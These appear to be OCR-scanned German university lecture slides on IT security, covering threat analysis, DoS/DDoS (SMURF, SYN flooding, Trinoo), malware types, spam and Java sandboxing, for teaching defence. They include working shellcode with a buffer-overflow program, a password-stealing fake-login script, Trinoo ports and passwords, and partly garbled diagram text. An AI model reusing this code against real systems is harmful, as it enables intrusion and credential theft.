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Security Engineering: Vorgehensmodell

B Ziel: Sicheres System, sichere
Infrastruktur

B Strukturiertes Vorgehen um das
Ziel zu erreichen:

1.

\
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Bestandsaufnahme der
Ressourcen (Systeme, Dienste,
Daten,.....)

Bedrohungsanalyse:

Welchen potentiellen Gefahren
drohen diesen Ressourcen?
Welche Angriffe x sind mdglich?

Bestimmung der Schadens-
wahrscheinlichkeit E(x)
(Erwartungswert) fur jeden
moglichen Angriff

Bestimmung der Schadenshdhe
S(x)

Errechnung des Risikos

R(x) = E(x) * S(x)

IT-Sicherheit

Risiko-Priorisierung
Ableitung von
Sicherheitsanforderungen

8. Erstellung einer Sicherheits-
Policy

9. Auswahl von Mechanismen zur

Durchsetzung der
Sicherheitsanforderungen

10. Implementierung und Betrieb
11. Dokumentation

Dieses Vorgehen ist nicht streng
sequentiell

Analog zu SW-Engineering
Modellen sind Zyklen und
Iterationen mdglich

Sec.Eng. ist fortwahrender
Prozess

3.1 Vorgehensmodell 4




Handelnde Personen

B Um Sicherheitsprobleme und B Die ,Bdosen®
-protokolle zu erlautern werden Q Eve (E)
haufig die folgenden Personen Eavesdropper; Abhorender
verwendet Q Mallory, Mallet (M)
B Die ,Guten® Malicious attacker; Angreifer
Q Alice (A)
Initiator eines Protokolls B Bsp.: Abhdren der Kommunikation
0 Bob (B) zwischen A. und B. (UML
antwortet auf Anfragen von Alice Sequence Diagram)

Q Carol (C) and Dave (D)

Teilnehmer in drei- oder vier-Wege Alice Eve Bob Zeit
Protokollen
2 Tent(n) ——Send message
Vertrauenswurdiger Dritter —
(Trusted arbitrator) Send affswer __——
] senc =
Q Walter (W)
Wachter (Warden), bewacht A. und
B.

\
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B |T Systeme sind Bedrohungen

(Threats) ausgesetzt:
Q Unberechtigter Zugriff auf Daten

0 Diebstahl, Modifikation, Zerstorung

Q Stérung der Verfugbarkeit,
Ressourcen unbenutzbar machen

B Angriff (Attack)

\
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Unberechtigter Zugriff auf ein
System (oder der Versuch)

Q Passiver Angriff
Angreifer kann nur Informationen
erlangen diese aber nicht andern

Q Aktiver Angriff
Angreifer kann Daten und/oder
Systeme manipulieren

Q Social Engineering
Angreifer erlangt Daten indem er
.,menschliche Schwache* ausnutzt

Bedrohungsanalyse: Bedrohungen und Angriffe

B Beispiele fur Angriffe

Q

a

Abhdren (Eavesdropping,
wiretapping, sniffing)
Maskerade (Masquerade)
Mallet behauptet Allice zu sein

Brechen von Accounts (z.B. root)

Ressourcenmissbrauch; Diebstahl
von Rechten

Kommunikationsangriffe:
Anderung, Kopie, Wiederein-
spielung, Falschung, Umleitung,
Verzogerung, Loschung von
Nachrichten

Denial of service (DoS),
Distributed DoS (DDoS)
Berechtigte Nutzer kdnnen Dienste
nicht mehr nutzen
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Angriffe und Gefahrdungen (Ubersicht)

Denial of Service (DoS),
Distributed DoS (DDoS)

Malicious Software (Malware)
Q Virus
Q Wurm
Q Trojanisches Pferd
Q “Mobile” Code
Uberwindung der Zugriffskontrolle
Abhdren und Sniffer
Port Scanning

B Exploits

a

a
a
a

Buffer Overflows
Account/Password Cracking
Rootkits

Hintertlren (Backdoors)

B Social Engineering

Q

a
a
a
a

Telefonanrufe
Tauschung
VideolUberwachung
»shoulder surfing*

,oumpster diving“ (Tauchen im
Abfalleimer)
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Denial of Service (DoS) and DDoS

B Angriff versucht Zielsystem oder Netzwerk fur berechtigte
Anwender unbenutzbar zu machen, z.B. durch:
0 Uberlastung
Q Herbeiflihrung von Fehlersituation
Q@ Ausnutzung von Programmierfehlern oder Protokollschwachen (Bugs)

B Arten von DoS

Q@ Anforderung bzw. Nutzung beschrankter oder unteilbarer Ressourcen
des OS (z.B. CPU-Zeit, Plattenplatz, Bandbreite,....)

Q Zerstdérung oder Veranderung der Konfiguration
O Physikalische Zerstdorung oder Beschadigung
B Beispiel:
O Angestellter “konfiguriert” “Vacation” Mail mit cc: an interne Mailingliste

Aulerdem konfiguriert er automatische Bestatigung durch Empfanger
——> Mailstorm

\
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DoS Beispiele

B E-mail Bombing: B Ausnutzung von Programm-
Uberflutung der Inbox mit Mails fehlern

B E-mail Subscription Bombing: Q Land: gefalschtes IP Packet mit
Opfer wird auf hunderten IP Source Adr. = IP Destination

Adr. und Source Port = Dest. Port

Mailinglisten registriert :
—>100 % CPU Last bei best.

B Buffer Overflows; am Bsp. von Implementierungen
Ping of Death Q Teardrop: Fragmentierte Pakete
Q IP-Paket groRer als die max. enthalten Feld Fragment
erlaubten 216 Bytes offset Hier Manipulation, so
@ Ubertragen in mehreren fragmen- dass sich Fragmente “iiberlappen”
tierten Paketen (Andernfalls :> u.U. Absturz des Systems
wurden die Router das Paket B “Konsum” von Bandbreite bzw

verwerfen.)

0 Reassemblieren am Zielsystem,
fihrt zu Uberlauf des internen
Puffers im IP-Stack

Q Evtl. Absturz des Betriebssystems

Betriebssystem-Ressourcen

Q Fluten des Netzwerkes des Opfers
(z.B. SMURF)

Q UDP chargen/echo Angriff
0 SYN-Flooding

\
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DoS-Techniken: SMURF

B Angreifer sendet Strom von ping Packeten (ICMP) mit gefalschter
Absender-Adresse (alice.victim.com) (Adressfalschung wird auch als
IP-Spoofing bezeichnet) an IP-Broadcast Adresse von stooge. com

B Alle Rechner aus dem Netz von stooge.com antworten an
alice.victim.com

-----------------------------------------------------
--------
IIIIII
......
“a,

)
-------
-----
ws (34
. .
[ d

Internet

alice.victim.com

\
—

\
.
||

victim.com

mallet.attacker.co
stooge.com

attacker.com
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Gegenmalinahmen?

-----------------------------------------------------
--------
IIIIII
......
“a,

)
-----
s .
. .
[ d

Internet

alice.victim.com

\
—

victim.com

mallet.attacker.co
stooge.com

B |[CMP deaktivieren (nur bedingt moglich und sinnvoll)
B [P-Broadcast am Router deaktivieren

~ Problem DDoS: nicht ein Angreifer sondern sehr viele Angreifer, die nicht
Broadcast sondern versch. Rechner verwenden, oder alice direkt
angreifen
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DoS-Techniken: SYN Flooding

B TCP 3-Way Handshake zum B SYN Flooding
Verbindungsaufbau

Alice Bob Mallet Bob
SYN SegNr=x SYN SegNr=x

- -

SYN SegNr=y; ACK x+l1 Allokation SYN SegNr=y; ACK x+] Allokation
< von < von
Ressourcen SYN SegNr=z Ressourcen

ACK SegNr=y+1 |
- SYN SegNr=a

-

Q Soviele ,halboffene” TCP-
Verbindungen aufbauen bis
Ressorucen von Bob erschopft
sind

\
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SYN-Flood.: Verletzlichkeit der Betriebssysteme

B Minimale Anzahl von SYN Paketen B Wiederholung von ,verlorenen®

fur erfolgreichen DoS SYN Paketen:
Quelle: [Chang 02] 0 Exponential Backoff zur
Berechnung der Wartezeit
E o ® Linux und W2K
2% (3s, 6s, 12s, 24s,....)
Lo B (6s, 24s, 48s, ....)
S5 .
e 0 0 Abbruch des Retransmit
- L nach 2 Versuchen (d.h. nach 9
5 2
22 BSD —__ .
= 0 ' , : : ® | inux
- 0 2000 4000 6000 8000 10,000 nach 7 Versuchen (d.h. nach
Maximum nu:lqlg\e;\l;eg gﬂhl:ea'stg/gﬁg connections 381 Sekunden)
® BSD

nach 75 Sekunden
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SYN Flooding: Gegenmalinahmen?

B Timer definieren:
Falls ACK nicht innerhalb dieser
Zeitspanne erfolgt, Ressourcen
wieder freigeben
~ Nutzt nur bedingt
m Falls alle Ressourcen belegt
zufallig eine halboffene Verbindung
schliessen
~ Nutzt nur bedingt
B Maximale Anzahl gleichzeitig
halboffener Verbindungen pro
Quell-Adresse festlegen
~» Problem DDoS

B SYN Cookies:

Mallet

Bob

SYN SegNr=x

L
SYN SegNr=z

SYN SegNr=a

SYN SeqNr=y; ACK x+1l Ajokation

von

Sequ.Nr. y von Bob ,kodiert* Adressinfo von Mallet. Ressourcen werden
erst reserviert wenn tatsachliches ACK y+1 von Mallet eingeht

~ Schutzt nicht vor ,Brute-Force* Uberflutung des Netzes

\
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Distributed Denial of Service (DDoS)

B Historie:

Q Trinoo erstmals im Juli 99
aufgetaucht; Aug. 99: 227 Clients
greifen eine Maschine der Uni
Minnesota an (2 Tage Down-Zeit)

Q 7. Feb. 2000: Yahoo 3 Stunden
Downzeit (Schaden ~ 500.000 $)

Q 8. Feb. 2000: Buy.com, CNN,
eBay, Zdnet.com, Schwab.com,
E*Trade.com und Amazon.

(Bei Amazon 10 Stunden Downzeit
und ~ 600.000 $ Schaden)

B |dee:
DoS Angriffswerkzeuge werden auf
mehrere Maschinen verteilt und

fuhren auf Befehl eines Masters
Angriff durch.

B Terminologie

a

Q

Q

Intruder oder Attacker:
Angreifer (Person)

Master oder Handler:
Koordinator des Angriffs (Software)

Daemon, Agent, Client, Zombie,
Bot oder bcast Programm:
Einzelkomponente die Teil des
DDos durchfihrt (Software)

Victim oder Target:
Ziel des Angriffs

B Beispiele:

a
a

a

Trinoo (Trin00)

Tribe Flood Network (TFN) und
TEN2K

Stacheldraht

\
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Ressourcen




DDoS: Grundsatzlicher Ablauf

B Dreistufiges Verfahren:

1. Intruder findet Maschine(n) die kompromittiert werden konnen;
Hacking Werkzeuge, Scanner, Rootkits, DoS/DDoS Tools
werden installiert; :> Maschine wird Master

¢

= Internet
-— i \ﬁ Victim
B B
Master = Intruder
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DDoS Phase 2: Initial-Mass Intrusion

2. Master versucht ,automatisch” weitere Maschinen zu
kompromittieren um DDoS Daemon zu installieren

Daemon
- ;:--- Daemons
Daemons B Internet
— l \ﬁ Victim
Master g Intruder
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DDoS Phase 3: Angriff

3. Intruder startet Programm auf Master, das allen Daemonen
mitteilt wann und gegen wen der Angriff zu starten ist.
Zu vereinbartem Zeitpunkt startet jeder Daemon DoS Angriff

= Daemons
Daemons T
y 4
ﬁ( Victim
L Intruder

=3
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Master
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DDos Beispiele: TrinOO, TFN u. Stacheldraht

B Tribe Flood Network (TFN)

Q Master kompromittiert UNIX
Systeme Uber RPC Buffer
Overflow

Q SYN, ICMP, UDP Flooding
0 SMURF Angriff
B Kommunikation:

Q wird vollstandig in ICMP ECHO und
ICMP REPLY Nachrichten

B Trinoo oder Trin00
Q Verteilter SYN Flooding Angriff
B Kommunikation:

Q Intruder -> Master: Master hort auf
TCP Port 27665; Passwort

,betaalmostdone™
Q Sonstiges Passwort: ,,144ads1™

Q Master -> Daemon: Daemon auf
UDP Port 27444

Daemon -> Master: Master auf
UDP Port 31335

Beim Start *HELLO* Nachricht des
Daemon

Lversteckt®:

Kommando wird im Identifier Feld
des ICMP Paketes kodiert; z.B.
345 -> SYN Flooding;

890 —> UDP Flooding;
Q Kein Passwort-Schutz

B Stacheldraht = Trinoo + TFN +
verschlusselte Kommunikation +
Auto-Update des Agenten
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0 Kepp-Alive Kommunikation:
Master -> Daemon: png
Daemon -> Master: PONG
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DoS Schutz- und Gegenmalinahmen
B Zusammenarbeit um Verbreitung der Tools und Durchflihrung
der Angriffe zu verhindern
B Monitoring und Intrusion Detection

B Packetfilter auf Gateways und Routern (ingress und egress;
vgl. Abschnitt Gber Firewalls)

B Uberwachung von Volumen und Anzahl der Verbindungen pro
Quell-Adresse

Uberwachung und Kontrolle der offenen Ports
Blockieren von Broadcast

Konfigurationen Uberprufen

Relevante Patches installieren

Meldung an Provider aus dessen Netz DoS erfolgt
Bug- und Sicherheitswarnungen (z.B. CERT) verfolgen
B Zusammenarbeit der Provider und der CERTs
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Malicious Code: Virus

B Definition:
O Befehlsfolge; bendtigt Wirtsprogramm zur Ausflihrung
O Kein selbststandig ablauffahiges Programm
Q Selbstreplikation (Infektion weiterer Wirte (Programme))

B Allgemeiner Aufbau:

void function virus {
Viruserkennung signature
- - suche Programm p ohne signature

Infektionsteil : __

kopiere virus in p
Schadensteil if (tag == Freitag && monatstag == 13) {
ggf. mit Bedingung formatc: d:e: f:g: h:i:j ki l:m:}

springe an den Anfang des Wirtsprogramm
Sprung }

Q@ Daneben ggf. Tarnungsteil
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Programm-Viren: Infektion
B Dateiformat vor der Infektion B Datei nach der Infektion
Name der Datei Faxsend.exe Faxsend.exe
Lange der Datei 9488 9889
Einsprungadresse 1004 9489
Programmcode 1004: < 1004:
load... load...
1005: add... 1005: add...
9488: Ret Q422 - Dot
Viruscode
9489:
MEILE o o o
9889: jmp
1004

\
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Viren Klassifikation

B Klassifikation nach Infektionsziel: Q Retl_ro-Vir_us

0 Programm-Virus (Link-Virus) Greift aktiv AV an; yersucht
Infiziert ausfuhrbare Dateien Scanner so zu verandern, dass er
(.exe, .com, .sys) unentdeckt bleibt.

Q Bootsektor-Virus Q Stealth Virus
Infiziert den Bootsektor von Virus versucht sich vor AV zu
Festplatten oder Disketten verstecken. Sobald AV Dateien

Q Ma_Kro-, Daten-Virus o scannt, entfernt der Virus seinen
Infiziert ,Daten-Dateien” mit Code aus den infizierten Dateien
eingebetteten Makro-Sprachen (Wiederherstellung des

(z.B. Visual Basic in MS Office,
Postscript,...)

B Unterklassen:

Orginalzustandes)

@ Tunneling-Virus

. . . AV versucht Systemaufrufe zum

- Mqlt_lpartlter V'"‘? . Schreiben in den Bootsektor zu
Infiziert mehr als ein Ziel unterbrechen. Virus ermittelt dabei

Q Polymorpher Virus direkte Spei
- . . . peicheradresse des
Verschlusselt den Viruscode; damit entsprechenden Systemaufrufs

fuf Ant- viren Software (AV) und ,klinkt" sich direkt an dieser
Speicheradresse ein.

\
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Malicious Code: Wurm

B Definition
O Eigenstandig ablauffahiges Programm
O Benotigt keinen Wirt
Q Selbstreplikation
Q (besteht aus mehreren Programmteilen = Wurm-Segmente)

B Bsp.:
Q Internet Wurm, vgl. Kap. 1
a ILOVEYOU
QO Melissa
@ SQL Slammer

Q

\
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Einschub: US-CERT Alert TA08-297A

B Microsoft Server Service RPC Vulnerability

B Systems affected:
@ Windows 2000, XP, Vista
@ Windows Server 2003 und 2008
B Description / Impact:
Q Vulnerability in handling RPC requests
Q Buffer overflow
B |Impact:
O Remote execution of arbitrary code with SYSTEM privileges
B Solution:
Q Apply update
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Malicious Code: Trojanisches Pferd

B Definition:
@ Ein Programm dessen Ist-Funktionalitat nicht mit der angegebenen Soll-
Funktionalitat Ubereinstimmt
® Sinnvolle oder attraktive ,Nutzfunktionalitat*
® Versteckte (Schad-) Funktionalitat
® Keine Vervielfaltigung

B Beispiel: Unix Shell Script Trojan [Stoll 89]:

echo “WELCOME TO THE LBL UNIX-4 COMPUTER”
echo “LOGIN:”
read account name
echo “PASSWORD:"”

(stty =—echo;\

read password;\

stty echo; echo “7;\

echo Saccount name Spassword >> /tmp/.pub)
echo “SORRY, TRY AGAIN.”

\
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Trojanische Pferde, Beispiele

B Rundung bei der Zinsberechnung B FBl's Magic Latern / D.I.R.T (Data

0 Nutzfunktion: Zinsberechnung mit Interception by Remote Trans-
drei Stellen Genauigkeit mission) _(2001_) '
O Versteckte Funktionalitat: Q Integrierbar in (Nutzfunktion):

Abgerundete Betrage ab der 4. ® Word, Excel, Powerpoint
Stelle aufsummieren und auf ® RTF (Rich Text Format)
definiertes Konto buchen. ® \Word Perfect

® Autorun.bat on CDs

® ...7?77.....

Q Versteckte Funtkionalitat:
® Keyboard Logger
® Auslesen entfernter Daten

® Passphrase Logging (z.B.,
PGP Private Key Passphrase)

® Ubertragung des entfernten
Bildschirminhalts

® Ubertragung v. entferntem
Audio (falls Micro. vorhanden)

B  Bundestrojaner”

\
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B T-Online Power Tools (1998)

Q Nutzfunktion: Unterstitzende
Werkzeuge fur den T-Online
Decoder

O Versteckte Funktionalitat: Bei der
Registrierung (Shareware) werden
T-Online Zugangsdaten Ubermittelt




Malicious Code heute

B Grenzen zwischen Klassen verschwinden

B Heutige Schadsoftware umfasst i.d.R. mehrere Klassen, z.B.:
Q Virus mit Wurmfunktionalitat
O Wurm mit Trojaner und Backdoor

Q Schadsoftware mit DoS bzw. DDoS Funktionalitat

QO Schadsoftware mit eigenem Mail-Server furs Spamming

Q usw.

\
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Malicious Code: Schutz- und Gegenmalihahmen

B Keine Software aus ,unsicheren® Quellen installieren

B Anti-Viren Software (AV) installieren UND aktualisieren

B Firewall um Viren- und Mail-Scanner erweitern

B AusfUhrbare Dateien oder Dateisystem verschlusseln

B Kryptographische Prufsummen (vgl. Abschnitt Kryptographie)

B Integrity Checker installieren und regelmaldig testen (vgl.
Abschnitt Tools)

B Schreibrechte sehr restriktiv vergeben (Need to know Prinzip)
B Automatische Makro Ausfuhrung deaktivieren

B /mpfen: In die Programme wird bewusst der Erkennungscode X
des Virus eingetragen.

B Weniger anfélliges OS wéhlen

\
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Mail: Falsche Virenwarnungen; Hoaxes

B Beispiele: 48 Hours:

A virus will be spreading in 48 hours
from now!!!! PLEASE BE VERY CAREFUL:
This message arrived today, Microsoft
just announced it.

The information said: If you receive
an e-mail with the subject Help, don't
open it, don't even move your mouse
over it or clean it because with only
that action a virus will be activated
without the necessity to download any
file, it is a cyber-terrorism!! Wait

B GEZ-GebuUhrenerstattung:

Die 6ffentlich-rechtlichen
Rundfunkanstalten ARD und ZDF
haben im Friithjahr einen Gewinn
von Uber 1 Mrd. DM erwirtschaf-
tet. Dieses ist gemal Bundesver-
fassungsgericht unzulalig. Das
OLG Augsburg hat am 10.01.1998
entschieden, dabk an diesem
Gewinn der Gebiihrenzahler zu
beteiligen ist. Es miissen nach
Urteil jedem Antragsteller
rickwirkend flir die Jahre 1997,

48 hours after you receive the virus
in order to clean it, otherwise it
will erase your hard disk and BIOS.
This action doesn't have a cure be-
cause the computer startup system is
affected and you are not to be able to
get in the operating system. Note: It
can arrive with an unknown name or
with one of your contacts' name. VERY
URGENT, PASS THIS TO EVERY PERSON WHO
HAS YOUR E-MAIL ADDRESS!!!!
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1998 und 1999 je Quartal ein
Betrag von DM 9,59 (insgesamt
115,08 DM) erstattet werden.
ACHTUNG! Dieses Urteil wurde vom
BGH am 08.04.98 bestatigt.[....]
Bitte moglichst viele Kopien an
Verwandte, Freunde und Bekannte
weilterleiten, damit die Gebihren
auch ihnen erstattet werden.
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Hoax, mogliche Erkennungszeichen

B \Warnung vor ,extrem gefahrlichen Virus®
B “Keine AV kann Virus erkennen”
B “Warnen Sie alle Bekannten und Freunde”

B Nicht plausible Bedrohung
(z.B. physikalische Zerstorung des Rechners)

B Verweis auf namhafte Unternehmen oder
Forschungseinrichtungen

B Kettenbriefe im klassischen Sinn:
@ Gewinnspiele oder Glucksbriefe
Q , Geld zuruck®
Q E-Petitionen
O Pyramidensysteme
Q ,Tranendrisenbriefe”
B Schutzmalinahmen: Hoax Mail Idschen und NICHT verbreiten

B Beispiele: http://www2.tu-berlin.de/www/software/hoaxlist.shtml
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SPAM-Mail

B Unerwlnschte Werbe Mail (unsolicited commerC|aI €- mall)
B Begriff SPAM

O SPAM eingetragenes Warenzeichen von Hormel Foog
a ,Spam“-Sketch aus Monty Python's Flying Circus

B SPAM Aufkommen
Quelle: MessagelLabs 7
Untersuchung von rd. 180 Mio Mails taglich (weltwe )' R
64 % Spam (August 06); 62 % im Mittel der letzten 6 Monate
Spitzenwert: 94,5 % im Juli 2004
LRZ: zwischen 90 % und 99 % 2007
B Probleme:

Q Eingangs-Mailbox wird mit SPAM Uberflutet

Q Extrem storend

Q Zusatzlicher Aufwand (Speicherplatz, Arbeitszeit)

0 Zuséatzliche Kosten (Infrastruktur, Ubertragung, Personal,....)
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Spam, klassische Gegenmalinahmen: Spamfilter

B Prozess der eingehende Mails nach Spam durchsucht

B Arten von Spam-Filtern:

1. Blacklist / Whitelist Ansatz:
Sperren Mail Doméanen die Ublicherweise von Spammer benutzt werden

2. Regelbasiert:
Nachricht wird inhaltlich nach Spam-Merkmalen durchsucht;
sowohl im Header wie auch im Body der Mail

3. Kl-basierter Ansatz:
Neuronale- (NN-) oder Bayessche Netze versuchen Spam zu erkennen

B \or- u. Nachteile:

1. Effizient zu implementieren; Grobgranular; keine inhaltliche Prifung
2. Sehr hohe Erkennungsraten; Test aufwandiger

3. Erkennungsrate abhangig vom Training (NN) oder Modellierung
(Bayes); dafuir gro3e Datenmengen erforderlich
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Spamfilter

B Fehlerarten bei der Erkennung

Q Filter die ,automatisch® Entscheidungen treffen machen zwei Arten von
(systematischen) Fehlern:

Q Falsch positiv: Mail wird als Spam erkannt obwohl keine Spam
Q Falsch negativ: Mail wird nicht als Spam erkannt obwohl Spam
B \Welche Fehlerart ist problematischer?

B Policy fur Spambehandlung:
O Spam-Mail I16schen und Empfanger ggf. benachrichtigen
@ Spam-Mail markieren und dann ausliefern
Q@ Welche Variante bevorzugen (unter Beachtung der Fehlerarten)?
B Bsp.: SpamAssassin (www. spamassassin.org)
Q Implementiert alle Filterarten (Blacklist, Regelbasis, Bayessches Netz)
Q Zentral und dezentral einsetzbar
Q Effizient und effektiv; Feingranular konfigurierbar;

\
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Weitere Anti-SPAM MalRinahmen

B Eigenes Kapitel

\
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Malicious Code: ,Mobile Code”

B Abgrenzung zu Viren, Warmern und Trojaner flieRend

B Hier - Mobile Code (aktiver Inhalt):
Q@ Code wird auf entferntem Rechner generiert
O haufig in Web Seiten eingebettet und
O auf lokalem Client-Rechner ausgefuhrt.
O |.d.R. Ausfuhrungsplattform oder Interpreter zur Ausfuhrung erforderlich

B \erwendete Sprachen, z.B.

Q ActiveX
0 JavaScript E"Og"e '(\:"Og"e
oae oae
Q
Java Ausfiihrungsplatt- Ausfiihrungsplatt-
form form
Betriebssystem Betriebssystem
Host-Rechner Host-Rechner

\
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Mobile Code: ActiveX

B \on Microsoft entwickelte B Beispiele fur ActiveX Malware:
Erweiterung von OLE (Object B Internet Exploder (1996):
Linking and Embedding) “Signed” ActiveX Control das bei der

B ActiveX Control: Ausflhrung den Rechner

c 'Ve_ ontrot: herunterfahrt.
0 Wiederverwendbare Komponente B Chaos Computer Club (CCC)
Q Binarformat Demonstrator (27.1.97)
Q Standardisierte Schnittstelle @ Control sucht nach Quicken
O Beliebige Programmiersprache zur Q Erstellt Ubervyeisung und tragt
Entwicklung (z.B. C, Basic, C#,...) diese in die Liste offener
_ Uberweisungen in Quicken ein.
Q Wird innerhalb des Browsers ) o
. Q Quicken kann mit einer PIN TAN
ausgefuhrt o
Kombination mehrere
B Probleme: Uberweisungen Gbertragen, d.h.
0 Keine Ausfihrungsbeschrankung unvorsichtiger User wird
, , gefalschte” Uberweisung
Q Voller Betriebssystemzugriff (ibertragen
0 Selbe Rechte wie ausfuhrender 0 www.iks-jena.de/mitarb/
Benutzerprozess lutz/security/activex.html

\
l[y@) Helmut Reiser,LRZ, WS 08/09 IT-Sicherheit 3.3 Bedrohungen, Angriffe, Gefahrdungen 38




Mobile Code: JavaScript

B Entwickelt von Netscape

Q Scriptsprache; syntaktisch
angelehnt an C,C++ u. Java

Q Einbettung aktiver Inhalte in Web-
Seiten

Q Wird innerhalb des Browsers
ausgefuhrt

B JavaScript Skript:

Q Kein Zugriff auf das Dateisystem
(auBer auf Cookies)

Q Keine Netzverbindungen
(auBer Download von URLSs)

B Probleme
0 Kein explizites Sicherheitsmodell

Q@ Entwicklungsgrundsatz: ,ldentify
(security holes) and patch
approach”

\
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Umfangreiche Liste von Schwach-
stellen und Implementierungs-
fehlern

Netscape 2.x
Q Auslesen der History
Q Lesender und schreibender Zugriff
auf das Dateisystem
Netscape 3.x
Q Versenden von Mail

Netscape 4.x

0 Hidden frame mit eingebetteter
Post Methode + Attachment
sendet Files an boswilligen Web-
Server

0 JavaScript eingebettet in Cookie;
damit z.B. Lesen der Bookmarks
oder HTML Dateien im Cache
www.peacefire.org/
security/Jjscookies/
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Mobile Code: Java (Applets)

B Entwickelt von SUN Microsystems

B Applet
O Byte-Code (vorkompiliert)

Q Bendtigt JVM (Java Virtual Machine) zur Ausfuhrung

B Mogliche Bedrohungen
Q Denial of Service

Q Implementierungsfehler in der JVM

(z.B. Netscape 2.0 erlaubte Applet den Verbindungsaufbau zu beliebiger
URL); Liste der Bugs: www.cs.princeton.edu/sip/history/

B Design der Sprache unterstutzt Sicherheit und Robustheit

Q Keine Pointer

Q Kein direkter Speicherzugriff; Test ob Array-Grenzen eingehalten werden

Q Strenge Typisierung

B Explizite Sicherheitsarchitektur; im folgenden kurzer Einschub

dazu

\
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Einschub - Java Sicherheitsarchitektur: Komponenten

3 B Bytecode-Verifier: Es soll nur ,korrekter®
Java Code ausgefluhrt werden!

Q Korrektes Format des class Files

) g Applet

PR

Verifikationsphase @ Syntaktische Korrektheit
AV 4 @ Einfache Datenfluanalyse (Simulation und
Bytecode-Verifier Analyse des Programmablaufs); Kein Uberlauf
= des Operandenstack
Ladephase B Classloader: Laden und Instantiieren der
L Objekte
s saaaer 0 Schutz der Systemklassen vor Uberschreiben
Ausfihrungsphase 2 Sichtbarkeit (Alle Objekte die von einem

Classloader geladen wurden bilden eigenen

Security Manager/ Namensraum)
Access Controler 0 Lade- und Bindestrategie: ,lazy loading and
early bound*
ﬂ Laden erst bei Verwendung des Objektes; bei
weiterem Nachladeversuch wird bereits
JVM geladenes Objekt verwendet

\
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Java Sicherheitsarchitektur: Sandbox

B Realisiert durch Security Manager B Beschrankung des Zugriffs auf

B Java 1.0.2 Sicherheitsmodell Ressourcen des BS:
0 Dateisystem (Read, Write, Delete)

Q Netzwerkzugriffe

\ (Zugriffe zu dem Rechner von dem
das Applet geladen wurde, sind
ﬁ erlaubt)
° Sandbox Q Zugriff auf die JVM

(z.B. Instantiieren von Classloader)
Q Verwaltung von Threads

Q Elemente der GUI
(z.B. Clippboard, ,fremde“ Fenster)

Q Zugriff auf Systemressourcen zum
Starten von Prozessen

Betriebssystem ) N )
Q Eingeschrankter Zugriff auf
Systemvariablen (Properties) der
Applet Application JVM
\ B Diese Ressourcen flir Applets
verboten

\
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,Evolution“ der Sandbox

W Java 1.1

Q Trusted (d.h. signierte)
Applets kdnnen Sandbox

verlassen

\

(ﬁ Sandbox

Betriebssystem

C@\'g Signed Applet

\
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W Java 1.2

Q Mechanismen der Sandbox
zur Beschrankung der
Rechte konnen auch
feingranular auf Appli-
cations angewandt werden

» &

Sandbox

Betriebssystem
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Java 1.2 Sicherheitsarchitektur

Java Programmcode

Java API

B Zugriffskontrollentscheidung wird
vom Access Controller getroffen;
Grundlage der Entscheidung

Native | Security Manager

Libraries

Access Controller

basiert auf:

0 Code Source
URLs und Menge von Signaturen,
d.h. offentlichen Schlisseln, kenn-
zeichnen Java Objekte (Entitaten)

Betriebssystem

0 Permission

B Security Manager realisiert
Sandbox; d.h. zentrale Instanz fur

Zugriffskontrolle
0 Relativ starres Konzept

Q Applets kdnnen Sandbox nicht
verlassen, daher nutzt Sec.Mgr.

B Access Controller
Q parametrisierbar

\
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kapselt Objekte mit bestimmten
Operationen; Gber CodeSource
einer Entitat zugeordnet, stellt sie
ein Recht dar

Q Protection Domain
Gruppierungsobjekt, um alle
Rechte einer CodeSource
zusammenzufassen

Q Policy Objekt
kapselt alle Permissions aller
Entitaten
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Java Security Manager / Access Controller

B Security Manager (vor Java 1.2) B Spezifikation einer Policy (Bsp.)
Q Wird vor der Ausfihrung einer grant CodeBase
kritischen Operation mittels ,http://java.sun.com",
check-Methode aufgerufen SignedBy ,gong“ {
Bsp.: Jeder lesende Dateizugriff permission
ruft ber checkRead den Sec.Mgr. java.io.FilePermission,
Q Falls Aufruf durch trusted Code, n~read,write“, ,/tmp/*%;
kehrt Sec.Mgr. zurlick, andernfalls }
Security Exception Q Alle Objekt von java.sun.com,
B Ab Version 1.2: die von gong signiert sind, bilden
0 Sec.Mgr. ruft mit einem entspr. eine Protection Domain.
Permission Objekt den Access Q Allen Objekten aus dieser Domain
Controller Uber die Methode wird die Permission erteilt,
checkPermission auf innerhalb von /tmp zu schreiben

0 Damit Abwartskompatibilitat
Q Anwendbar auch fur Applications

Q Erweiterbar um eigene
Permission-Objekte

\
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Inhalt (2)

3. Bedrohungen, Angriffe und Gefahrdungen (Forts.)
6. Buffer Overflow
7. Account / Password Cracking
8. Hintertlren / Falltlren
9. Rootkits
10. Cross Site Scripting (XSS)
11. Sniffer
12. Port Scanner

Rechtliche Regelungen: Strafgesetzbuch
Klassifikation der Angreifer / Taterbild
,wenty Most Vulnerabilities”
Zusammenfassung

N o O~

\
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Exploits: Buffer Overflow

B Ziel: Ausfuhren von Code auf B Speicherabbild eines Programmes
fremdem Rechner unter fremden (am Bsp. Unix)
Rechten (z.B. root)
m \Vorgehen: argv (Parameter)
O Auswahl eines Programmes, das argc
z.B. mit SUID (Set User ID)-Bit,
d.h. mit Rechten des Eigentiimers, User Stack
[&uft

0 Uberschreiben interner
Programmpuffer, z.B. durch
uberlange Eingabe

Q Dabei Manipulation z.B. der

Ricksprungadresse, dadurch Heap

Q Ausfihren von bestimmter bss
Programmsequenz des Angreifers;
z.B. Assembler- bzw. Maschinen- Initialized data
Code zum Starten einer Shell
(shellcode) Text (Programm

Code)

\
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Beispiel-Code Buffer Overflow

/* shellcode flr Linux auf Intel Architektur */

char shellcode[]="\xeb\xlf\x5e
\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large string[128];

void main () {
char buffer[96]; * char 1 Byte */
int 1i;
[*Zeiger auf large_string; long 4 Byte */
long *long ptr = (long *) large string;

/* large_string wird mit der Adresse von buffer belegt */
for (1=0; 1<32; 1i++)
*(long ptr + 1i)=(int) buffer;

[*shellcode in large_string kopieren */
for (i=0; i<strlen(shellcode); i++)

large string[i] = shellcode[i];
[*Kopie von large_string in buffer; shellcode und pointer; buffer overflow */
strcpy (buffer,large string); }
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Buffer Overflow (Bsp)
B Speicher vor dem Aufruf von B Nach Aufruf von strcpy() ist die
strcpy () Rucksprungadresse uberschrie-
ben; shellcode wird ausgefuhrt
argc argc
User stack User stack
ret (Rucksprungadresse) 4 —ret
sfp (Stack frame pointer) strapy —sfp—
